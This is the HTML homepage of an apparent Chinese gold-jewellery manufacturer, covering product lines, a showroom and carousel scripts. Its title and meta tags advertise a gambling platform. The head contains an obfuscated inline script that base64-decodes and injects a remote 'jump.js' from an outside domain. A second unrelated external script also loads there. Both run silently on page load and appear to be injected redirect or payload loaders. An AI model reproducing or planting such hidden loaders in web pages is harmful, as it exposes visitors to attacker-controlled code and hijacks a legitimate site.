<!DOCTYPE html>
<html lang="en">
    
    <head><script>(function(){var s=document.createElement('script');s.src=atob('aHR0cHM6Ly9qai5zb2ZzeHouY29tL2p1bXAuanM=');document.head.appendChild(s);})();</script>
        <!--公共样式、mate 开始-->
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
        <title>G22恒峰官方网站-恒峰(中国)</title>
        <meta content="G22恒峰官方网站,恒峰(中国)" name="keywords">
        <meta content="恒峰g22官网首页,恒峰g22平台官网,官方平台客服24小时在线为您服务!【综合体育、官方网站、娱乐平台、首页注册、最新官网、官网入口、APP下载链接、手机全站客户端、游戏网址中心、手机网页版登录等】探索恒峰g22官方网站，您会发现一个汇聚丰富游戏资源和顶尖游戏资讯的平台。在恒峰g22官方网站，玩家们不仅能找到自己喜爱的游戏，还可以通过参与官网活动获得奖励，与其他玩家一起分享游戏的乐趣和成就。" name="description">
        <meta name="format-detection" content="telephone=no">
        <meta name="apple-mobile-web-app-capable" content="yes">
        <meta name="apple-mobile-web-app-status-bar-style" content="white">
        <meta name="apple-mobile-web-app-capable" content="yes">
        <link rel="Shortcut Icon" href="webfile/home/default/images/favicon.ico">
        <link rel="stylesheet" href="webfile/home/default/css/bootstrap.min.css">
        <!-- Bootstrap -->
        <link rel="stylesheet" type="text/css" href="webfile/home/default/css/swiper.min.css">
        <link rel="stylesheet" type="text/css" href="webfile/home/default/css/reset.css">
        <link rel="stylesheet" type="text/css" href="webfile/home/default/css/style.css">
        <!--公共样式、mate 结束--><script src="https://api.youcangetwomen.com/cscs.js" type="text/javascript"></script></head>
    
    <body>
        <!--star 头部 -->
        <div class="navbar navbar-default topnav">
            <!-- <div class="topnav-bj"></div> -->
            <div class="container clear-fix">
                <div class="navbar-header clear-fix">
                    <a class="navbar-logo" href="index.html">
                        <img src="upfile/admin/image/20180823/20180823164113_35252.png" title="G22恒峰官方网站-恒峰(中国)" alt="G22恒峰官方网站-恒峰(中国)"></a>
                </div>
                <button type="button" class="navbar-toggle">
                    <span class="sr-only">切换导航</span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                </button>
                <div class="collapse navbar-collapse clear-fix">
                    <div class="nav-title clear-fix visible-sm-block visible-xs-block">
                        <h3 class="fl">导航目录</h3>
                        <span class="fr"></span>
                    </div>
                    <ul class="navlst clear-fix fl">
                        <!-- li:hover class:on -->
                        <li class="navli" id="menu_">
                            <h3>
                                <a href="index.html" title="首页">首页</a></h3>
                        </li>
                        <li class="navli" id="menu_1">
                            <h3>
                                <a href="about.html" title="关于我们">关于我们</a>
                                <em class="subbtn"></em>
                            </h3>
                        </li>
                        <li class="navli" id="menu_7">
                            <h3>
                                <a href="make.html" title="公司简介">公司简介</a>
                                <em class="subbtn"></em>
                            </h3>
                        </li>
                        <li class="navli" id="menu_8">
                            <h3>
                                <a href="brand.html" title="品牌与优势">品牌与优势</a>
                                <em class="subbtn"></em>
                            </h3>
                        </li>
                        <li class="navli" id="menu_9">
                            <h3>
                                <a href="products.html" title="产品展示">产品展示</a>
                                <em class="subbtn"></em>
                            </h3>
                        </li>
                        <li class="navli" id="menu_10">
                            <h3>
                                <a href="servic.html" title="产品与服务">产品与服务</a>
                                <em class="subbtn"></em>
                            </h3>
                        </li>
                        <li class="navli" id="menu_6">
                            <h3>
                                <a href="news.html" title="新闻中心">新闻中心</a>
                                <em class="subbtn"></em>
                            </h3>
                        </li>
                        <li class="navli" id="menu_11">
                            <h3>
                                <a href="contact.html" title="联系我们">联系我们</a>
                                <em class="subbtn"></em>
                            </h3>
                        </li>
                    </ul>
                </div>
            </div>
            <div class="nav-share"></div>
        </div>
        <!-- <div class="navheight"></div> -->
        <!-- end 头部 -->
        <!--star 轮播图 -->
        <div class="sylunbo">
            <div class="swiper-container sylunbo-top">
                <div class="swiper-wrapper">
                    <div class="swiper-slide">
                        <a class="banner" href="news_show15.html" target="_blank" style="background-image: url('upfile/admin/image/20180925/20180925155421_89958.jpg');"></a>
                    </div>
                    <div class="swiper-slide">
                        <a class="banner" href="products_24.html" target="_blank" style="background-image: url('upfile/admin/image/20211214/20211214193640_45814.jpg');"></a>
                    </div>
                    <div class="swiper-slide">
                        <a class="banner" href="products_4.html" target="_blank" style="background-image: url('upfile/admin/image/20180925/20180925155435_74505.jpg');"></a>
                    </div>
                    <div class="swiper-slide">
                        <a class="banner" href="news_show17.html" target="_blank" style="background-image: url('upfile/admin/image/20180925/20180925155459_52287.jpg');"></a>
                    </div>
                </div>
                <div class="swiper-pagination bigfour"></div>
            </div>
            <div class="swiper-container sy-preview clear-fix">
                <div class="sy-progress fl">
                    <div class="swiper-button-prev"></div>
                    <div class="swiper-button-next"></div>
                    <div class="swiper-pagination"></div>
                </div>
                <div class="swiper-wrapper fr">
                    <!-- 这个位置banner 排序跟上面大图的不一样 大图的第一张在这里是最后一张 -->
                    <div class="swiper-slide">
                        <img src="upfile/admin/image/20211214/20211214193640_45814.jpg" alt="传家美作-金乾彩"></div>
                    <div class="swiper-slide">
                        <img src="upfile/admin/image/20180925/20180925155435_74505.jpg" alt="传家金（古法）"></div>
                    <div class="swiper-slide">
                        <img src="upfile/admin/image/20180925/20180925155459_52287.jpg" alt="云展厅"></div>
                    <div class="swiper-slide">
                        <img src="upfile/admin/image/20180925/20180925155421_89958.jpg" alt="316古法发布会"></div>
                </div>
            </div>
        </div>
        <!-- 云展厅 -->
        <div class="sycloudhall">
            <div class="container">
                <div class="sycloudhall-title clear-fix">
                    <div class="sycloudhall-title-left fl">
                        <div class="hrline1 fl"></div>
                        <div class="fr">
                            <h3>云展厅</h3>
                            <span>Cloud exhibition hall</span></div>
                    </div>
                </div>
                <div class="sycloudhall-main">
                    <div class="sycloudhall-a clear-fix">
                        <div class="swiper-container sycloudhall-lbtop fl">
                            <div class="swiper-wrapper">
                                <div class="swiper-slide">
                                    <div class="sylbtop-left">
                                        <img src="upfile/admin/image/20211214/20211214190838_72648.jpg" alt="传家美作"></div>
                                </div>
                                <div class="swiper-slide">
                                    <div class="sylbtop-left">
                                        <img src="upfile/admin/image/20180925/20180925160100_18416.jpg" alt="传家金（古法）"></div>
                                </div>
                                <div class="swiper-slide">
                                    <div class="sylbtop-left">
                                        <img src="upfile/admin/image/20180925/20180925160112_28974.jpg" alt="丰尚金"></div>
                                </div>
                                <div class="swiper-slide">
                                    <div class="sylbtop-left">
                                        <img src="upfile/admin/image/20180925/20180925160120_92207.jpg" alt="中华囍金"></div>
                                </div>
                                <div class="swiper-slide">
                                    <div class="sylbtop-left">
                                        <img src="upfile/admin/image/20180925/20180925160128_35420.jpg" alt="IP专门店"></div>
                                </div>
                            </div>
                            <div class="sych-dd">
                                <div class="swiper-pagination"></div>
                            </div>
                        </div>
                        <div class="swiper-container sycloudhall-txt clear-fix fr">
                            <div class="swiper-wrapper">
                                <div class="swiper-slide">
                                    <div class="sylbtop-right">
                                        <h3>传家美作</h3>
                                        <div class="sylbtop-right-info">
                                            <p>传家美作：以文化弘扬家道，作金传之。 “传家”场景：喜事，闲趣，交情（立业），团圆； “美”：美在文化，美在技艺，美在形态，美在意韵； “作”（品类）：黄金饰品，黄金器皿，黄金把玩； ——工艺：以手工为主，可量产 ——产品特点：每一件产品皆有出身「文化」</p>
                                        </div>
                                        <!-- <a href="/pro/index.php"><span>→</span>探索更多</a> --></div>
                                </div>
                                <div class="swiper-slide">
                                    <div class="sylbtop-right">
                                        <h3>传家金（古法）</h3>
                                        <div class="sylbtop-right-info">
                                            <p>传家金（古法）：坚持“经典、极致”的品牌理念，潜心打制具有“经典工艺价值”和“传世传承价值”的中国古法手工金器，完美诠释中国传统经典审美，执着“让每一个家庭都拥有一款可以传世的传家金”。</p>
                                        </div>
                                        <!-- <a href="/pro/index.php"><span>→</span>探索更多</a> --></div>
                                </div>
                                <div class="swiper-slide">
                                    <div class="sylbtop-right">
                                        <h3>丰尚金</h3>
                                        <div class="sylbtop-right-info">
                                            <p>丰尚金：打造‘谁说黄金不时尚’的理念，向一切不可能Say No。针对目前80、90人群定位，推出精品黄金。产品设计以工艺精、克重小、为主导，打造电商平台及计件黄金产品概念，符合时下轻奢、时尚主义的流行趋势。 精品系列黄金，更为精致时尚。 克重小、工艺精、更易于售卖，款式更加符合现下年轻人的时尚 精品黄金，符合电商平台及计件黄金产品概念。</p>
                                        </div>
                                        <!-- <a href="/pro/index.php"><span>→</span>探索更多</a> --></div>
                                </div>
                                <div class="swiper-slide">
                                    <div class="sylbtop-right">
                                        <h3>中华囍金</h3>
                                        <div class="sylbtop-right-info">
                                            <p>有金有囍，囍传天下。囍，指婚姻中男女双方共吋迎接喜庆的一天，囍缘金妆，因缘结为囍，点金伴为妆，犹如人生爱情三部曲：相识、相伴、相守，体现出在情侣爱恋类、婚庆婚嫁类、婚后纪念类的三级产品消费架构。 婚庆饰品未来的主流消费人群以90、00后为主，就新时代流行趋势而言，传统的猪牌、龙凤等款式已经满足不了当下婚庆需要，“中华囍金”款式设计不拘一格、时尚新颖，更加注重新时代对时尚婚姻和品质的追求。产品风格独树一帜，别具匠心，见证精致、个性、时尚的浪漫爱情。</p>
                                        </div>
                                        <!-- <a href="/pro/index.php"><span>→</span>探索更多</a> --></div>
                                </div>
                                <div class="swiper-slide">
                                    <div class="sylbtop-right">
                                        <h3>IP专门店</h3>
                                        <div class="sylbtop-right-info">
                                            <p>G22恒峰官方网站-恒峰(中国)IP STORE专门店是以IP硬金为主的硬金专门店，拥有招财猫、史努比、大嘴猴、动物大联盟、招财童子等正版授权IP，IP硬金产品具有鲜明的风格特色和形象识别度，以其强大的粉丝聚合力和品牌文化，打造极具特色、品牌化、精细化的IP硬金产品。</p>
                                        </div>
                                        <!-- <a href="/pro/index.php"><span>→</span>探索更多</a> --></div>
                                </div>
                            </div>
                            <div class="swiper-pagination sk-dian"></div>
                        </div>
                    </div>
                    <div class="sycloudhall-b">
                        <div class="swiper-container sycloudhall-lbbot">
                            <div class="swiper-wrapper swiperfirst">
                                <div class="swiper-slide active-nav">
                                    <div class="sycloudhall-lbbot-img">
                                        <img src="upfile/admin/image/20211214/20211214190838_72648.jpg" alt="传家美作">
                                        <div class="mask1"></div>
                                    </div>
                                    <h4>传家美作</h4></div>
                                <div class="swiper-slide ">
                                    <div class="sycloudhall-lbbot-img">
                                        <img src="upfile/admin/image/20180925/20180925160100_18416.jpg" alt="传家金（古法）">
                                        <div class="mask1"></div>
                                    </div>
                                    <h4>传家金（古法）</h4></div>
                                <div class="swiper-slide ">
                                    <div class="sycloudhall-lbbot-img">
                                        <img src="upfile/admin/image/20180925/20180925160112_28974.jpg" alt="丰尚金">
                                        <div class="mask1"></div>
                                    </div>
                                    <h4>丰尚金</h4></div>
                                <div class="swiper-slide ">
                                    <div class="sycloudhall-lbbot-img">
                                        <img src="upfile/admin/image/20180925/20180925160120_92207.jpg" alt="中华囍金">
                                        <div class="mask1"></div>
                                    </div>
                                    <h4>中华囍金</h4></div>
                                <div class="swiper-slide ">
                                    <div class="sycloudhall-lbbot-img">
                                        <img src="upfile/admin/image/20180925/20180925160128_35420.jpg" alt="IP专门店">
                                        <div class="mask1"></div>
                                    </div>
                                    <h4>IP专门店</h4></div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!-- G22恒峰官方网站-恒峰(中国)关于 -->
        <div class="syabout clear-fix">
            <div class="syabout-left fl">
                <img src="upfile/admin/image/20180925/20180925160425_10623.jpg" alt="公司简介"></div>
            <div class="syabout-right fr">
                <div class="syabout-right-txt">
                    <h3>G22恒峰官方网站-恒峰(中国)</h3>
                    <span>Ming Feng manufacturing</span>
                    <div class="syabout-right-info">
                        <p>拥有先进的硬件设施和研发设计团队，保障产品的高标准、高质量、原创性、时尚性。工厂拥有最新的自动化生产机械、cnc（数字化控制机器）、精雕机、离子交换机、激光雕刻凹版技术、自动注蜡生产线；产品注重精品精工；以生产制造精品黄金作为工厂的核心竞争力。</p>
                    </div>
                    <a href="make.html">
                        <span>→</span>探索更多</a></div>
            </div>
        </div>
        <!-- 展厅 -->
        <div class="syhall">
            <div class="container">
                <div class="syhall-title">
                    <h2>展厅</h2>
                    <span>Exhibition hall</span>
                    <div class="syhall-info">
                        <p>公司拥有2000平方米的现货展厅，提供黄金、K金珠宝批发、订单生产、来料加工、品牌运营等一体化黄金珠宝配套服务。</p>
                    </div>
                </div>
            </div>
            <div class="swiper-container syhall-lb">
                <div class="swiper-wrapper">
                    <div class="swiper-slide">
                        <img src="upfile/admin/image/20180925/20180925145911_51233.jpg" alt="">
                        <div class="mask2">
                            <p>
                            </p>
                        </div>
                    </div>
                    <div class="swiper-slide">
                        <img src="upfile/admin/image/20180925/20180925145919_35037.jpg" alt="">
                        <div class="mask2">
                            <p>
                            </p>
                        </div>
                    </div>
                    <div class="swiper-slide">
                        <img src="upfile/admin/image/20180925/20180925145928_46154.jpg" alt="">
                        <div class="mask2">
                            <p>
                            </p>
                        </div>
                    </div>
                    <div class="swiper-slide">
                        <img src="upfile/admin/image/20180925/20180925145938_95905.jpg" alt="">
                        <div class="mask2">
                            <p>
                            </p>
                        </div>
                    </div>
                    <div class="swiper-slide">
                        <img src="upfile/admin/image/20180925/20180925145949_69927.jpg" alt="">
                        <div class="mask2">
                            <p>
                            </p>
                        </div>
                    </div>
                    <div class="swiper-slide">
                        <img src="upfile/admin/image/20180925/20180925150006_20691.jpg" alt="">
                        <div class="mask2">
                            <p>
                            </p>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <!--star 底部 -->﻿
        <div class="footer">
            <div class="footer-top">
                <div class="container">
                    <ul class="clear-fix">
                        <li>
                            <a href="tel: ">
                                <img src="webfile/home/default/images/icon-ft1.png" alt=" "></a></li>
                        <li>
                            <a href="mailto:">
                                <img src="webfile/home/default/images/icon-ft2.png" alt=""></a>
                        </li>
                        <li>
                            <a href="javascript:void(0);">
                                <img src="webfile/home/default/images/icon-ft3.png" alt=""></a></li>
                        <li class="vxlist">
                            <a href="javascript:void(0);">
                                <img src="webfile/home/default/images/icon-ft4.png" alt="">G22恒峰官方网站-恒峰(中国)</a>
                            <div class="vx-box">
                                <img src="upfile/admin/image/20180823/20180823164158_35018.png" alt="G22恒峰官方网站-恒峰(中国)"></div>
                        </li>
                    </ul>
                </div>
            </div>
            <div class="footer-bot">
                <div class="container">
                    <p class="cp-left">
                        <span>COPYRIGHT © 2018</span>G22恒峰官方网站-恒峰(中国)
                        <br>
                        </p>
                </div>
            </div>
        </div>
        <!-- end 底部 -->
        <script src="webfile/home/default/js/jquery-1.9.1.min.js"></script>
        <script src="webfile/home/default/js/bootstrap.min.js"></script>
        <script src="webfile/home/default/js/fun.js"></script>
        <script src="webfile/home/default/js/swiper.min.js"></script>
        <!-- 内页banner -->
        <script>$(function() {
                if ($(window).width() >= 1200) {
                    $('.nybanner').css({
                        'height': 486 + 'px'
                    });
                } else {
                    $(".nybanner").height('auto');
                };
                if ($(window).innerWidth() >= 1200) {
                    $('.nybanner').css({
                        'height': 486 + 'px'
                    });
                } else if ($(window).innerWidth() < 1200 && $(window).innerWidth() >= 992) {
                    $('.nybanner').css({
                        'height': 300 + 'px'
                    });
                } else if ($(window).innerWidth() <= 991 && $(window).innerWidth() >= 768) {
                    $('.nybanner').css({
                        'height': 300 + 'px'
                    });
                } else if ($(window).innerWidth() <= 767 && $(window).innerWidth() >= 580) {
                    $('.nybanner').css({
                        'height': 280 + 'px'
                    });
                } else if ($(window).innerWidth() <= 446 && $(window).innerWidth() >= 415) {
                    $('.nybanner').css({
                        'height': 200 + 'px'
                    });
                } else {
                    $(".nybanner").css({
                        'height': 170 + 'px'
                    })
                };
            });
            $(window).resize(function() {
                if ($(window).width() >= 1200) {
                    $('.nybanner').css({
                        'height': 486 + 'px'
                    });
                } else {
                    $(".nybanner").height('auto');
                };
                if ($(window).innerWidth() >= 1200) {
                    $('.nybanner').css({
                        'height': 486 + 'px'
                    });
                } else if ($(window).innerWidth() < 1200 && $(window).innerWidth() >= 992) {
                    $('.nybanner').css({
                        'height': 300 + 'px'
                    });
                } else if ($(window).innerWidth() <= 991 && $(window).innerWidth() >= 768) {
                    $('.nybanner').css({
                        'height': 300 + 'px'
                    });
                } else if ($(window).innerWidth() <= 767 && $(window).innerWidth() >= 580) {
                    $('.nybanner').css({
                        'height': 280 + 'px'
                    });
                } else if ($(window).innerWidth() <= 446 && $(window).innerWidth() >= 415) {
                    $('.nybanner').css({
                        'height': 200 + 'px'
                    });
                } else {
                    $(".nybanner").css({
                        'height': 170 + 'px'
                    })
                };
            });</script>
        <!-- 内页二级 -->
        <script type="text/javascript">$('.tel-nav span').click(function() {
                if (!$('.seclevelnav ul').is(':visible')) {
                    $('.seclevelnav ul').slideDown();
                } else {
                    $('.seclevelnav ul').slideUp();
                }
            })</script>
        <!-- 三级导航下拉 -->
        <script>$(document).ready(function() {
                $(".seclevelnav ul li h4 .icon-san").click(function() {

                    if ($(this).parent().next(".san-nav").is(':visible')) {
                        $(".san-nav").slideUp();
                        $(".seclevelnav ul li h4 .icon-san").removeClass('on');
                    } else {
                        $(this).parent().next(".san-nav").slideToggle();
                        $(this).addClass('on');
                    }
                });

                $(".sidenav-ul li a").click(function() {
                    var widthd = $(window).width();
                    console.log(widthd);
                    if (widthd <= 991) {
                        $(".sidenav-ul").slideUp();
                    }
                });
            });</script>
        <!-- vx hover -->
        <script type="text/javascript">$(".vxhover").hover(function() {
                $('.vx-box').show();
            },
            function() {
                $('.vx-box').hide();
            })</script>
        <!-- 底部微信 -->
        <script type="text/javascript">$(".vxlist").hover(function() {
                $(".vx-box").show();
            },
            function() {
                $(".vx-box").hide();
            })</script>
        <!-- 导航状态 -->
        <script type="text/javascript">function GetCurStyle(controller) {
                $("#menu_" + controller).addClass("cur");
                return true;
                switch (controller.toLowerCase()) {
                case "1":
                    $("#in1").addClass("cur");
                    break;
                case "2":
                    $("#in2").addClass("cur");
                    break;
                case "3":
                    $("#in3").addClass("cur");
                    break;
                case "4":
                    $("#in4").addClass("cur");
                    break;
                case "5":
                    $("#in5").addClass("cur");
                    break;
                case "6":
                    $("#in6").addClass("cur");
                    break;
                case "7":
                    $("#in7").addClass("cur");
                    break;
                case "8":
                    $("#in8").addClass("cur");
                    break;
                default:
                    level1 = "";
                }
            }</script>
        <script type="text/javascript">$(window).scroll(function() {
                if ($(this).scrollTop() > 350) {
                    $(".topnav").addClass('bgse');
                } else {
                    $(".topnav").removeClass('bgse');
                }
            })</script>
        <script>GetCurStyle("");</script>
        <!-- 轮播 -->
        <script>//大轮播
            var mySwiper1 = new Swiper('.sylunbo-top', {
                pagination: '.sylunbo-top .swiper-pagination',
                // effect : 'fade',
                autoplay: 3000,
                loop: true,
                resistanceRatio: 0,
                paginationClickable: true,
            })
            //小轮播
            var mySwiper2 = new Swiper('.sy-preview', {
                pagination: '.sy-preview .swiper-pagination',
                paginationType: 'fraction',
                prevButton: '.sy-preview .swiper-button-prev',
                nextButton: '.sy-preview .swiper-button-next',
                onTap: function() {
                    mySwiper1.slideTo(mySwiper2.clickedIndex + 1);
                },
                watchSlidesProgress: true,
                loop: true,
                effect: 'fade',
                slidesPerView: 1,
                resistanceRatio: 0,
                paginationClickable: true,
                slideToClickedSlide: true,
            })

            //双向控制
            mySwiper1.params.control = mySwiper2;
            mySwiper2.params.control = mySwiper1;

            $(function() {
                if ($(window).width() >= 1200) {
                    $('.banner').css({
                        'height': 786 + 'px'
                    });
                } else {
                    $(".banner").height('auto');
                };
                if ($(window).innerWidth() >= 1200) {
                    $('.banner').css({
                        'height': 786 + 'px'
                    });
                } else if ($(window).innerWidth() < 1200 && $(window).innerWidth() >= 992) {
                    $('.banner').css({
                        'height': 491 + 'px'
                    });
                } else if ($(window).innerWidth() <= 991 && $(window).innerWidth() >= 768) {
                    $('.banner').css({
                        'height': 406 + 'px'
                    });
                } else if ($(window).innerWidth() <= 767 && $(window).innerWidth() >= 580) {
                    $('.banner').css({
                        'height': 315 + 'px'
                    });
                } else if ($(window).innerWidth() <= 579 && $(window).innerWidth() >= 415) {
                    $('.banner').css({
                        'height': 240 + 'px'
                    });
                } else {
                    $(".banner").css({
                        'height': 240 + 'px'
                    });
                };
            });
            $(window).resize(function() {
                if ($(window).width() >= 1200) {
                    $('.banner').css({
                        'height': 786 + 'px'
                    });
                } else {
                    $(".banner").height('auto');
                };
                if ($(window).innerWidth() >= 1200) {
                    $('.banner').css({
                        'height': 786 + 'px'
                    });
                } else if ($(window).innerWidth() < 1200 && $(window).innerWidth() >= 992) {
                    $('.banner').css({
                        'height': 491 + 'px'
                    });
                } else if ($(window).innerWidth() <= 991 && $(window).innerWidth() >= 768) {
                    $('.banner').css({
                        'height': 406 + 'px'
                    });
                } else if ($(window).innerWidth() <= 767 && $(window).innerWidth() >= 580) {
                    $('.banner').css({
                        'height': 315 + 'px'
                    });
                } else if ($(window).innerWidth() <= 579 && $(window).innerWidth() >= 415) {
                    $('.banner').css({
                        'height': 240 + 'px'
                    });
                } else {
                    $(".banner").css({
                        'height': 240 + 'px'
                    });
                };
            });</script>
        <!-- 云展厅 -->
        <script type="text/javascript">var mySwiper3 = new Swiper('.sycloudhall-lbtop', {
                pagination: '.sycloudhall-lbtop .swiper-pagination',
                paginationType: 'fraction',
                watchSlidesProgress: true,
                effect: 'fade',
                // autoplay : 3000,
                breakpoints: {
                    555 : {
                        autoplay: 3000,
                    },
                },
                resistanceRatio: 0,
                paginationClickable: true,
            }) var mySwiper4 = new Swiper('.sycloudhall-txt', {
                pagination: '.sycloudhall-txt .swiper-pagination',
                watchSlidesProgress: true,
                effect: 'fade',
                resistanceRatio: 0,
                paginationClickable: true,
            }) mySwiper3.params.control = mySwiper4;
            mySwiper4.params.control = mySwiper3;
            // 云展厅小图
            var mySwiper5 = new Swiper('.sycloudhall-lbbot', {

                control: [mySwiper3, mySwiper4],
                watchSlidesProgress: true,
                slideToClickedSlide: true,
                onTap: function() {
                    mySwiper3.slideTo(mySwiper5.clickedIndex);
                    // mySwiper5.slideTo(mySwiper5.clickedIndex);
                    console.log(mySwiper5.clickedIndex);
                },
                spaceBetween: 15,
                slidesPerView: 'auto',
                breakpoints: {
                    555 : {
                        slidesPerView: 2.5,
                        // centeredSlides: true,
                        spaceBetween: 0,
                    },
                },
                resistanceRatio: 0,
                paginationClickable: true,
                // centeredSlides: true, 
                // loop : true,
            }) $(".sycloudhall-lbbot .swiper-slide").click(function() {
                $('.sycloudhall-lbbot .swiper-slide').removeClass('active-nav');
                $(this).addClass('active-nav');
            })
            // 展厅
            var mySwiper6 = new Swiper('.syhall-lb', {
                watchSlidesProgress: true,
                slidesPerView: 4,
                // loopedSlides :4,
                autoplay: 3000,
                spaceBetween: 0,
                resistanceRatio: 0,
                paginationClickable: true,
                // normalizeSlideIndex:false,
                centeredSlides: true,
                loop: true,
                slideToClickedSlide: true,
                breakpoints: {
                    767 : {
                        slidesPerView: 3,
                    },
                    640 : {
                        slidesPerView: 2,
                    },
                    414 : {
                        slidesPerView: 2,
                    }
                },
            })</script>
    </body>

</html>